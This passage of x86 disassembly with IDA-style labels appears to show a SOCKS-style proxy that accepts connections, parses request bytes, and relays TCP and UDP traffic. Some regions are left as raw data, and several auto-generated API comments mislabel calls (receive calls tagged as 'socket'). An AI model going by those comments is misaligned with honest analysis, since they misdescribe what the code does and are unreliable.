arg_8		= dword	ptr  0Ch

		sub	esp, 51Ch
		push	ebx
		push	ebp
		mov	ebp, [esp+524h+arg_4]
		push	esi
		push	edi
		mov	edx, ecx
		movsx	eax, byte ptr [ebp+3]
		dec	eax
		mov	[esp+52Ch+var_508], 0
		mov	[esp+52Ch+var_50C], 7
		mov	[esp+52Ch+var_51C], 2
		jz	short loc_42B97F
		dec	eax
		jz	short loc_42B92A
		dec	eax
		jnz	loc_42BA72
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42B92A:				; CODE XREF: sub_42B8E0+32j
		movsx	eax, byte ptr [ebp+4]
		mov	ecx, eax
		lea	esi, [ebp+5]
		mov	ebx, ecx
		lea	edi, [esp+52Ch+var_400]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	byte ptr [esp+eax+52Ch+var_400], 0
		lea	eax, [esp+52Ch+var_518]
		lea	ecx, [esp+52Ch+var_400]
		push	eax
		push	ecx
		mov	ecx, edx
		call	sub_401758
		test	al, al
		jz	loc_42BA72
		movsx	esi, byte ptr [ebp+4]
		mov	dx, [esi+ebp+5]
		add	esi, 7
		mov	[esp+52Ch+var_51A], dx
		jmp	short loc_42B99B
; ---------------------------------------------------------------------------


loc_42B97F:				; CODE XREF: sub_42B8E0+2Fj
		mov	eax, [ebp+4]
		mov	esi, 0Ah
		mov	[esp+52Ch+var_400], eax
		mov	[esp+52Ch+var_518], eax
		mov	ax, [ebp+8]
		mov	[esp+52Ch+var_51A], ax


loc_42B99B:				; CODE XREF: sub_42B8E0+9Dj
		mov	ebx, dword_511C3C
		push	11h
		push	2
		push	2
		call	ebx	; socket
		push	11h
		push	2
		push	2
		mov	edi, eax
		call	ebx	; socket
		cmp	edi, 0FFFFFFFFh
		jz	loc_42BA72
		cmp	eax, 0FFFFFFFFh
		jnz	loc_42BA72
		mov	edx, [esp+52Ch+arg_8]
		lea	ecx, [esp+52Ch+var_51C]
		push	10h
		push	ecx
		sub	edx, esi
		push	0
		add	esi, ebp
		mov	ebp, dword_511C68
		push	edx
		push	esi
		push	edi
		call	ebp	; sendto
		mov	ebx, [esp+52Ch+arg_0]
		push	10h
		push	ebx
		push	edi
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jnz	short loc_42BA72


loc_42B9F9:				; CODE XREF: sub_42B8E0+174j
		lea	eax, [esp+52Ch+var_50C]
		lea	ecx, [esp+52Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+540h+var_500], 0FFFFFFFFh
		mov	[esp+540h+var_504], 1
		call	near ptr 71AB2DC0h
		nop
		push	0
		push	0
		push	0
		lea	edx, [esp+538h+var_400]
		push	3FFh
		push	edx
		push	edi
		nop
		call	near ptr 71AB2D0Fh
		push	10h
		mov	esi, eax
		push	ebx
		push	0
		lea	eax, [esp+538h+var_400]
		push	esi
		push	eax
		push	0FFFFFFFFh
		call	ebp	; sendto
		test	esi, esi
		jbe	short loc_42BA56
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42B9F9


loc_42BA56:				; CODE XREF: sub_42B8E0+16Fj
		mov	esi, dword_511C9C
		push	edi
		call	esi	; closesocket
		push	0FFFFFFFFh
		call	esi	; closesocket
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42BA72:				; CODE XREF: sub_42B8E0+35j
					; sub_42B8E0+86j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
sub_42B8E0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42BB00	proc near		; CODE XREF: sub_42C5C0:loc_4013A2j

var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= byte ptr -81Ch
var_81A		= word ptr -81Ah
var_818		= dword	ptr -818h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_708		= byte ptr -708h
var_707		= byte ptr -707h
var_705		= dword	ptr -705h
var_604		= word ptr -604h
var_600		= dword	ptr -600h
var_5F0		= byte ptr -5F0h
var_200		= byte ptr -200h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 82Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+838h+arg_0]
		cmp	esi, 0FFFFFFFFh
		push	edi
		mov	ebp, ecx
		mov	[esp+83Ch+var_828], 0
		mov	[esp+83Ch+var_82C], 0Bh
		mov	[esp+83Ch+var_808], esi
		mov	[esp+83Ch+var_80C], 1
		jz	loc_42BDBA
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		mov	ax, [ecx+ebp-2]
		cmp	ax, 1
		jnz	loc_42BED6
		mov	edi, dword_511C94
		lea	edx, [esp+83Ch+var_82C]
		push	edx
		push	0
		lea	eax, [esp+844h+var_80C]
		push	0
		push	eax
		push	1
		call	edi	; select
		test	eax, eax
		jle	loc_42BF63
		lea	ecx, [esp+83Ch+var_80C]
		push	ecx
		push	esi
		call	sub_438256
; ---------------------------------------------------------------------------
		dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 71688005h, 89FFF883h
		dd 0F1C2444h, 22184h, 0A41D8B00h, 6A00511Ch, 24948D00h
		dd 240h, 5652026Ah, 0BC80D3FFh,	23C24h,	850F0500h, 1FEh
		dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch
		dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h
		dd 256248Ch, 0D3FF0000h, 26A006Ah, 44731068h, 0E8905600h
		dd 7168868Ah, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h
		dd 282444C7h, 0
; ---------------------------------------------------------------------------
		mov	[esp+82Ch+var_808], 7
		mov	[esp+82Ch+var_7E4], esi
		mov	[esp+82Ch+var_7E8], 1
		call	edi	; select
		xor	eax, eax
		lea	edx, [esp+82Ch+var_5F0]
		push	eax
		mov	ecx, 20h
		lea	edi, [esp+830h+var_5F0]
		push	2
		push	edx
		push	esi
		rep stosd
		call	ebx	; socket
		cmp	byte ptr [esp+83Ch+var_600], 1
		jnz	loc_42BDBA
		movsx	eax, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	ecx, [esp+840h+var_200]
		push	eax
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	eax, [esp+840h+var_600]
		push	1
		push	eax
		push	esi
		mov	[esp+edx+84Ch+var_200],	0
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	edx, [esp+840h+var_100]
		push	ecx
		push	edx
		push	esi
		call	ebx	; socket
		movsx	eax, byte ptr [esp+83Ch+var_600]
		mov	ecx, [ebp-8]
		mov	[esp+eax+83Ch+var_100],	0
		mov	ecx, [ecx+4]
		add	ecx, ebp
		call	sub_4017EE
		mov	edi, eax
		lea	ecx, [esp+83Ch+var_200]


loc_42BCCB:				; CODE XREF: sub_42BB00+1E9j
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_42BCEF
		test	al, al
		jz	short loc_42BCEB
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_42BCEF
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_42BCCB


loc_42BCEB:				; CODE XREF: sub_42BB00+1D5j
		xor	eax, eax
		jmp	short loc_42BCF4
; ---------------------------------------------------------------------------


loc_42BCEF:				; CODE XREF: sub_42BB00+1D1j
					; sub_42BB00+1DFj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42BCF4:				; CODE XREF: sub_42BB00+1EDj
		test	eax, eax
		jz	short loc_42BD51
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		lea	ecx, [ecx+ebp+15h]
		call	sub_4017EE
		lea	edi, [esp+83Ch+var_100]


loc_42BD0E:				; CODE XREF: sub_42BB00+22Cj
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_42BD32
		test	cl, cl
		jz	short loc_42BD2E
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_42BD32
		add	edi, 2
		add	eax, 2
		test	cl, cl
		jnz	short loc_42BD0E


loc_42BD2E:				; CODE XREF: sub_42BB00+218j
		xor	eax, eax
		jmp	short loc_42BD37
; ---------------------------------------------------------------------------


loc_42BD32:				; CODE XREF: sub_42BB00+214j
					; sub_42BB00+222j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42BD37:				; CODE XREF: sub_42BB00+230j
		test	eax, eax
		jz	short loc_42BD51
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42BD51:				; CODE XREF: sub_42BB00+1F6j
					; sub_42BB00+239j
		mov	edi, dword_511CA0
		push	0
		push	2
		push	offset dword_44730C
		push	esi
		call	edi	; send
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		call	near ptr 71AB2DC0h
		nop
		lea	edx, [esp+83Ch+var_80C]
		push	edx
		push	esi
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42BDBA
		push	0
		lea	eax, [esp+840h+var_708]
		push	4
		push	eax
		push	esi
		call	ebx	; socket
		mov	eax, [esp+83Ch+var_705]
		and	eax, 0FFh
		dec	eax
		jz	short loc_42BE21
		sub	eax, 2
		jz	short loc_42BDC9
		dec	eax


loc_42BDB8:				; CODE XREF: sub_42BB00+31Fj
		jnz	short loc_42BE30


loc_42BDBA:				; CODE XREF: sub_42BB00+32j
					; sub_42BB00+154j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42BDC9:				; CODE XREF: sub_42BB00+2B5j
		push	0
		lea	ecx, [esp+840h+var_600]
		push	1
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	eax, [esp+840h+var_705+1]
		push	edx
		push	eax
		push	esi
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		lea	edx, [esp+83Ch+var_600]
		lea	eax, [esp+83Ch+var_705+1]
		mov	byte ptr [esp+ecx+83Ch+var_705+1], 0
		mov	ecx, [ebp-8]
		push	edx
		push	eax
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_401758
		test	al, al
		jmp	short loc_42BDB8
; ---------------------------------------------------------------------------


loc_42BE21:				; CODE XREF: sub_42BB00+2B0j
		push	0
		lea	eax, [esp+840h+var_600]
		push	4
		push	eax
		push	esi
		call	ebx	; socket


loc_42BE30:				; CODE XREF: sub_42BB00:loc_42BDB8j
		push	0
		lea	ecx, [esp+840h+var_604]
		push	2
		push	ecx
		push	esi
		call	ebx	; socket
		cmp	[esp+83Ch+var_707], 1
		jnz	loc_42BDBA
		mov	ebx, [esp+83Ch+var_820]
		mov	dx, [esp+83Ch+var_604]
		mov	eax, [esp+83Ch+var_600]
		lea	ecx, [esp+83Ch+var_81C]
		push	10h
		push	ecx
		push	ebx
		mov	word ptr [esp+848h+var_81C], 2
		mov	[esp+848h+var_81A], dx
		mov	[esp+848h+var_818], eax
		call	near ptr 71AB406Ah
		nop
		test	eax, eax
		jnz	loc_42BDBA
		push	eax
		push	4
		push	offset dword_447304
		push	esi
		call	edi	; send
		push	0
		lea	edx, [esp+840h+var_600]
		push	4
		push	edx
		push	esi
		call	edi	; send
		push	0
		lea	eax, [esp+840h+var_604]
		push	2
		push	eax
		push	esi
		call	edi	; send
		mov	ecx, [ebp-8]
		push	ebx
		push	esi
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_4020E0
		push	ebx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42BED6:				; CODE XREF: sub_42BB00+47j
		cmp	ax, 2
		jnz	loc_42BF63
		mov	ebx, dword_511C94


loc_42BEE6:				; CODE XREF: sub_42BB00+461j
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		call	ebx	; select
		lea	edx, [esp+83Ch+var_824]
		lea	eax, [esp+83Ch+var_81C]
		push	edx
		push	eax
		push	0
		lea	ecx, [esp+848h+var_600]
		push	3FFh
		push	ecx
		push	esi
		mov	[esp+854h+var_824], 10h
		nop
		call	near ptr 71AB2D0Fh
		mov	ecx, [ebp-8]
		mov	edi, eax
		lea	edx, [esp+83Ch+var_600]
		push	edi
		push	edx
		mov	edx, [ecx+4]
		lea	eax, [esp+844h+var_81C]
		push	eax
		lea	ecx, [edx+ebp-8]
		call	sub_401C30
		test	edi, edi
		jz	short loc_42BF63
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42BF63
		lea	eax, [esp+83Ch+var_80C]
		push	eax
		push	esi
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_42BEE6


loc_42BF63:				; CODE XREF: sub_42BB00+67j
					; sub_42BB00+3DAj ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
sub_42BB00	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C0A0	proc near		; CODE XREF: sub_401F37j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		mov	eax, [esi+32h]
		test	eax, eax
		jz	short loc_42C0B4
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C0B4:				; CODE XREF: sub_42C0A0+Bj
		xor	eax, eax
		mov	ax, [esi+6]
		dec	eax
		jz	short loc_42C0C6
		dec	eax
		jz	short loc_42C0E8
		mov	word ptr [esi+6], 1


loc_42C0C6:				; CODE XREF: sub_42C0A0+1Bj
		mov	eax, 1
		mov	ecx, 6


loc_42C0D0:				; CODE XREF: sub_42C0A0+52j
		push	ecx
		push	eax
		push	2
		nop
		call	near ptr 71AB3B91h
		test	eax, eax
		mov	[esi+32h], eax
		jnz	short loc_42C0F4
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C0E8:				; CODE XREF: sub_42C0A0+1Ej
		mov	eax, 2
		mov	ecx, 11h
		jmp	short loc_42C0D0
; ---------------------------------------------------------------------------


loc_42C0F4:				; CODE XREF: sub_42C0A0+3Fj
		mov	ax, [esi+4]
		mov	[esp+14h+var_10], 2
		push	eax
		mov	[esp+18h+var_C], 0
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esi+32h]
		lea	ecx, [esp+14h+var_10]
		push	10h
		push	ecx
		push	edx
		mov	[esp+20h+var_E], ax
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42C139
		mov	eax, [esi+32h]
		push	eax
		nop
		call	near ptr 71AB9639h
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C139:				; CODE XREF: sub_42C0A0+86j
		cmp	word ptr [esi+6], 1
		jnz	short loc_42C161
		mov	ecx, [esi+32h]
		push	3
		push	ecx
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_42C161
		mov	edx, [esi+32h]
		push	edx
		nop
		call	near ptr 71AB9639h
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C161:				; CODE XREF: sub_42C0A0+9Ej
					; sub_42C0A0+AEj
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn
sub_42C0A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C1B0	proc near		; CODE XREF: sub_401DD4j

var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_42C1B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	[ebp+var_10], esp
		mov	ax, [edi+6]
		cmp	ax, 1
		jnz	short loc_42C24A
		mov	eax, [edi+32h]
		mov	[ebp+var_14], 10h
		test	eax, eax
		jz	short loc_42C231
		mov	ebx, dword_511C98
		lea	ecx, [ebp+var_14]
		lea	edx, [ebp+var_24]
		push	ecx
		push	edx
		push	eax
		call	ebx	; accept
		mov	esi, eax
		test	esi, esi
		jnz	short loc_42C216


loc_42C202:				; CODE XREF: sub_42C1B0+64j
		mov	edx, [edi+32h]
		lea	eax, [ebp+var_14]
		lea	ecx, [ebp+var_24]
		push	eax
		push	ecx
		push	edx
		call	ebx	; accept
		mov	esi, eax
		test	esi, esi
		jz	short loc_42C202


loc_42C216:				; CODE XREF: sub_42C1B0+50j
		mov	eax, [edi]
		push	esi
		mov	ecx, edi
		mov	[ebp+var_4], 0
		call	dword ptr [eax]
		push	esi
		mov	bl, al
		nop
		call	near ptr 71AB9639h
		test	bl, bl
		jnz	short loc_42C26A


loc_42C231:				; CODE XREF: sub_42C1B0+39j
					; sub_42C1B0+9Ej ...
		xor	al, al
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42C244:				; DATA XREF: ___:00442FACo
		mov	eax, offset loc_42C231
		retn
; ---------------------------------------------------------------------------


loc_42C24A:				; CODE XREF: sub_42C1B0+2Bj
		cmp	ax, 2
		jnz	short loc_42C231
		mov	eax, [edi+32h]
		mov	edx, [edi]
		push	eax
		mov	ecx, edi
		call	dword ptr [edx]
		mov	ecx, [edi+32h]
		mov	bl, al
		push	ecx
		nop
		call	near ptr 71AB9639h
		test	bl, bl
		jz	short loc_42C231


loc_42C26A:				; CODE XREF: sub_42C1B0+7Fj
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42C1B0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42C2C0:				; CODE XREF: ___:00401F96j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_43CEB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		mov	[ebp-10h], esp
		mov	dword ptr [ebp-4], 0
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	eax, [ecx+esi+32h]
		add	ecx, esi
		push	eax
		mov	edx, [ecx]
		call	dword ptr [edx]
		mov	ecx, [esi]
		mov	edx, [ecx+4]
		mov	eax, [edx+esi+32h]
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42C309:				; DATA XREF: ___:loc_42C321o
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	eax, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_42C321:				; DATA XREF: ___:0044300Co
		mov	eax, offset loc_42C309
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C350	proc near		; CODE XREF: sub_401C2Bj

var_19C		= byte ptr -19Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_42C350
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 194h
		lea	eax, [esp+1A0h+var_19C]
		mov	[esp+1A0h+var_4], 1
		push	eax
		push	2
		call	near ptr 71AB664Dh
		nop
		test	eax, eax
		jz	short loc_42C3C7


loc_42C387:				; CODE XREF: ___:0042C456j
		lea	ecx, [esp+1A0h+arg_4]
		mov	byte ptr [esp+1A0h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1A0h+arg_1C]
		mov	[esp+1A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1A0h+var_C]
		mov	large fs:0, ecx
		add	esp, 1A0h
		retn
; ---------------------------------------------------------------------------


loc_42C3C7:				; CODE XREF: sub_42C350+35j
		push	42h
		call	sub_437AEA
sub_42C350	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+0], eax
		test	eax, eax
		mov	byte ptr [esp+19Ch], 2
		jz	short loc_42C3EC
		push	1
		mov	ecx, eax
		call	sub_4014F1
		jmp	short loc_42C3EE
; ---------------------------------------------------------------------------


loc_42C3EC:				; CODE XREF: ___:0042C3DFj
		xor	eax, eax


loc_42C3EE:				; CODE XREF: ___:0042C3EAj
		mov	dword_5103B4, eax
		mov	ecx, [eax]
		mov	byte ptr [esp+19Ch], 1
		mov	edx, [ecx+4]
		mov	cx, [esp+1A4h]
		mov	[edx+eax+4], cx
		mov	eax, dword_5103B4
		lea	edx, [esp+1A8h]
		mov	ecx, [eax]
		push	edx
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+8]
		call	sub_40202C
		lea	eax, [esp+1C0h]
		push	eax
		mov	eax, dword_5103B4
		mov	ecx, [eax]
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+1Dh]
		call	sub_40202C
		mov	eax, dword_5103B4
		mov	ecx, [eax]
		mov	ecx, [ecx+4]
		add	ecx, eax
		call	sub_401F37
		test	al, al
		jz	loc_42C387


loc_42C45C:				; CODE XREF: ___:0042C46Dj
		mov	eax, dword_5103B4
		mov	edx, [eax]
		mov	ecx, [edx+4]
		add	ecx, eax
		call	sub_401DD4
		jmp	short loc_42C45C
; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C4C0	proc near		; CODE XREF: sub_4014F1j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		test	eax, eax
		mov	esi, ecx
		mov	[esp+8+var_4], 0
		jz	short loc_42C4E2
		lea	ecx, [esi+8]
		mov	dword ptr [esi], offset	dword_43F190
		call	sub_4014B5


loc_42C4E2:				; CODE XREF: sub_42C4C0+12j
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	dword ptr [ecx+esi], offset off_43F18C
		mov	edx, [esi]
		mov	eax, [edx+4]
		lea	ecx, [eax-8]
		mov	[eax+esi-4], ecx
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
sub_42C4C0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C530	proc near		; CODE XREF: sub_4014B5j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42C530
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8]
		call	sub_40142E
		lea	ecx, [esi+1Dh]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F19C
		mov	dword ptr [esi+32h], 0
		mov	word ptr [esi+6], 1
		mov	word ptr [esi+4], 0
		mov	dword ptr [esi+36h], 1000h
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42C530	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C5C0	proc near		; CODE XREF: sub_4020EFj

; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES

		sub	ecx, [ecx-4]
		jmp	loc_4013A2
sub_42C5C0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_42C5D0:				; CODE XREF: ___:00401352j
		push	0FFFFFFFFh
		push	offset loc_43CF28
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		call	sub_401FA0
		push	offset off_444D6C
		lea	ecx, [esi+11h]
		mov	dword ptr [esp+14h], 0
		mov	dword ptr [esi], offset	off_43F1A0
		call	sub_4015E1
		mov	ecx, [esp+8]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C640	proc near		; CODE XREF: ___:00401398j sub_401F5Fj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4011BD
		test	[esp+4+arg_0], 1
		jz	short loc_42C658
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42C658:				; CODE XREF: sub_42C640+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42C640	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42C670	proc near		; CODE XREF: sub_4011BDj
		jmp	sub_4017A8
sub_42C670	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42C690:				; CODE XREF: ___:loc_40134Dj
		mov	eax, 1000h
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_42C71C
		mov	ebx, dword_511CA4
		mov	ebp, dword_511CA0


loc_42C6BC:				; CODE XREF: ___:0042C71Aj
		mov	edx, [esi+9Dh]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+10h]
		rep stosd
		push	eax
		mov	eax, [edx+0A5h]
		lea	ecx, [esp+14h]
		push	1000h
		push	ecx
		push	eax
		call	ebx	; recv
		test	eax, eax
		jz	short loc_42C71C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42C71C
		mov	edx, [esi+9Dh]
		push	0
		push	eax
		lea	ecx, [esp+18h]
		mov	eax, [edx+0A1h]
		push	ecx
		push	eax
		call	ebp	; send
		test	eax, eax
		jz	short loc_42C71C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42C71C
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	short loc_42C6BC


loc_42C71C:				; CODE XREF: ___:0042C6AEj
					; ___:0042C6E5j ...
		mov	edx, [esi+9Dh]
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, [edx+0A1h]
		pop	ebx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42C738
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42C738:				; CODE XREF: ___:0042C72Fj
		add	esp, 1000h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C770	proc near		; CODE XREF: sub_40166Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42C770
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset off_444D6C
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F1B0
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42C770	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C7E0	proc near		; CODE XREF: ___:004013A7j sub_401B36j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401217
		test	[esp+4+arg_0], 1
		jz	short loc_42C7F8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42C7F8:				; CODE XREF: sub_42C7E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42C7E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42C810	proc near		; CODE XREF: sub_401217j
		jmp	sub_4017A8
sub_42C810	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
